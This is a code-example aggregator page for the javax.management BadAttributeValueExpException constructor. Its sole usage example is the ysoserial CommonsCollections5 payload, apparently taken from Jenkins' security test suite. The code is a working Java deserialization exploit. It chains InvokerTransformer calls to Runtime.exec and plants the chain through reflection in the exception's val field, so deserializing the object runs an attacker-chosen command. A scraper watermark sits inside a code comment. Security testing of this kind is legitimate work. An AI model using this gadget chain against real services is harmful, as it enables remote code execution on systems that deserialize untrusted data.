Example usage for javax.management BadAttributeValueExpException BadAttributeValueExpException

Introduction

In this page you can find the example usage for javax.management BadAttributeValueExpException BadAttributeValueExpException.

Prototype

public BadAttributeValueExpException(Object val) 

Source Link

Document

Constructs a BadAttributeValueExpException using the specified Object to create the toString() value.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections5.java

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                    new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);//  ww  w .j a  va  2 s. c om
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return val;
}

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